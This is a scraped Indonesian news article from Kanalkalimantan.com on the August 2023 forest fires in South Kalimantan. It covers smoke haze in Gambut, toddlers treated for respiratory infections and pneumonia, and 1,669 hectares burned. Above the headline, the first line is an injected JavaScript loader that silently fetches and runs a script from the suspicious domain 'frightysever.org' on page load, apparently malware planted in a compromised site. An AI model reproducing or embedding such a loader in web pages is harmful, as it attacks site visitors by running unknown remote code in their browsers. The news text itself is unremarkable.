(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Puluhan Balita di Gambut Terserang ISPA Hingga Pneumonia, Karhutla Kalsel Capai 1.669 Hektare


KANALKALIMANTAN.COM, MARTAPURA- Musim kemarau 2023 di Kalimantan Selatan (Kalsel) membawa dampak yang tak terelakkan, Kebakaran Hutan dan Lahan (Karhutla) merajalela dalam beberapa bulan terakhir. Kabut asap mulai merayap, seperti selimut alam di pagi hari. Sementara terik matahari yang menyengat semakin menambah penderitaan di siang harinya, mengganggu aktivitas dan mengancam kesehatan warga.

Sekitar satu minggu sudah Siti Irhamni (75) warga Kecamatan Gambut, Kabupaten Banjar mengamati kabut asap tipis yang terjadi di sekitar Jalan Ahmad Yani Km 17. Jika pagi tiba, aroma asap khas lahan gambut yang terbakar itu nyelengit terpaksa dihirupnya.

Ia sangat merasa tidak nyaman, hidungnya terasa mampet, ia memiliki penyakit asma dan kesulitan untuk bernafas.

Baca juga : Anggota Bawaslu 13 Daerah di Kalsel Diumumkan, Ini Daftar 45 Namanya

“Sempat kambuh asmanya hingga dilarikan ke rumah sakit oleh anak saya,” Aku Siti Irhamni.

Dirumah sakit Siti Irhamni menjalani pengobatan secara medis, sepulangnya ke rumah anaknya menyediakan tabung oksigen untuk jaga-jaga jika asmanya tiba-tiba kambuh lagi.

“Padahal saya dilarang oleh anak saya keluar rumah ketika kabut asap. Hanya saja untuk hari ini saya keluar rumah sesekali untuk berjalan kaki,” katanya.

Kondisi kabut asap yang terjadi di kawasan Kecamatan Gambut yang terjadi dalam satu minggu belakangan terakhir ini juga di amini oleh Lia (32), ia adalah seorang penjual nasi bungkus yang biasa berjualan sejak pukul 05.00 Wita di pinggir jalan Ahmad Yani km14, tepatnya di depan Masjid Al Mujahidin Gambut.

Baca juga: Tiga Prediksi Benda Misterius di Bawah Langgar Al Hinduan dari Pendekatan Sejarah Kota Banjarmasin

“Kabut asap, namun tidak tebal. Tidak seperti tahun yang lalu,” ujarnya, Jumat (18/8/2023).

Hampir serupa di Kecamatan Gambut, di waktu yang berbeda saya mengamati kondisi dampak karhutla yang terjadi di Kecamatan Sungai Tabuk. Tepat Pukul 06.15 Wita, saya melihat kabut asap tipis juga terjadi di kecamatan yang saling berbatasan ini. Kabut asap tidak terlalu mengganggu penglihatan pengguna jalan, arus lalu lintas di sekitar jalan simpang empat Sungai tabuk sejauh ini terpantau aman.

Puluhan Anak di Gambut Derita ISPA dan Pneumonia

Kepala Unit Pelaksana Teknis (UPT). Puskesmas Gambut, Sugeng Ryanto, diwakilkan Sri Julianti Penanggung Jawab (PJ) Pencegahan dan Pemberantasan Penyakit (P2) Infeksi Saluran Pernapasan Akut (ISPA) Puskesmas Gambut mengatakan, dampak kabut asap yang terjadi tidak dapat dipungkiri mengganggu kesehatan masyarakat disekitarnya meski masih dianggap skala ringan.

Baca juga: Gebyar Kesenian Jawa di GOR Rudy Resnawan, Ini Kata Wali Kota Aditya

Namun asap akibat karhutla ini bisa menimbulkan penyakit seperti Infeksi Saluran Pernapasan Akut atau ISPA itu tadi dan pneumonia, bahkan diare. Sri mengamati kunjungan pasien ke Puskesmas Gambut, mereka anak-anak dan balita lebih banyak Infeksi ISPA, lantaran memiliki daya tahan tubuh yang lebih lemah jika di bandingkan orang dewasa.

Hingga Juli 2023 UPT. Puskesmas Gambut mendata sudah ada dua balita yang menderita Pneumonia, 37 balita menderita ISPA, 11 ISPA pada anak, 43 ISPA pada orang dewasa dan 2 ISPA pada lansia.

Guna mengurangi dampak karhutla yang mengakibatkan sejumlah penyakit, pihak puskesmas menjalankan sejumlah gebrakan seperti pembagian masker secara geratis dan penyuluhan kesehatan seputar kabut asap akibat dampak pasca karhutla.

“Kami menghimbau untuk orang tua selalu menjaga balitanya, sebab dampak kabut asap bisa menimbulkan ISPA menjadi Pneumonia,”ujar Sri Julianti.

1.669 Hektare Hutan dan Lahan di Kalsel Terbakar

Data Rekapitulasi Penanganan Bencana Kebakaran Hutan dan Lahan Provinsi Kalimantan Selatan. Foto : BPBD Kalsel

Badan Penanggulangan Bencana Daerah (BPBD) Kalsel mencatat seluas 1.669 hektar hutan dan lahan di kalsel terbakar hingga Jumat 18 Agustus 2023.

Baca juga: Petir Siapkan Atribut Merah Putih di Stadion Demang Lehman

Tiga kabupaten/kota yang karhutlanya paling luas ada di Kota Banjarbaru yaitu seluas 655 hektar, disusul Kabupaten Tanah Laut sekitar 404 hektare, kemudian Kabupaten Banjar 284 hektare. (Kanalkalimantan.com/Nh)

Reporter : Nh
Editor: rdy


Risa

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

13 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

13 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

13 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

14 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

14 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

14 jam ago

This website uses cookies.